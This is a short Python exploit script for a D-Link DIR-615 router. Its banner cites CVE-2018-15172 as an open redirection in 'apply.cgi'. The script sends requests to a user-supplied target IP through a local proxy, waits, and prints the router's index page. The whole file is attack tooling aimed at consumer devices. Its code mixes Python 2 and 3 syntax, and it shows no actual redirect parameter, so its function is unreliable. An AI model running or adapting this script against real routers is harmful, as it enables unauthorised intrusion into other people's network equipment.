import requests
import sys
import time
from colorama import Fore

description= r"""
 -----------------------------------------------------------------------------
|                              CVE-2018-15172                                |
|                                                                            |
|  D-Link DIR-615 is vulnerable to a Open Redirection.                       |
|  Inside the router many other cgi files too use this functionality         |
|  in 'apply.cgi'.                                                           |
 -----------------------------------------------------------------------------
"""

if len(sys.argv) is not 2:
	print(description)
	print(Fore.YELLOW+"[-] Example: python noCVE-dlink_615-Open-Redirection.py <Target IP>"+Fore.RESET)
	sys.exit()

target = sys.argv[1]

proxies = {'http':'http://localhost:8080', 'https':'http://localhost:8080'} 
URL = 'http://'+target+'/apply.cgi'
res = requests.get(URL, proxies=proxies)
time.sleep(40)
URL = 'http://'+target+'/index.asp'
res2 = requests.get(URL, proxies=proxies)


print res2.text
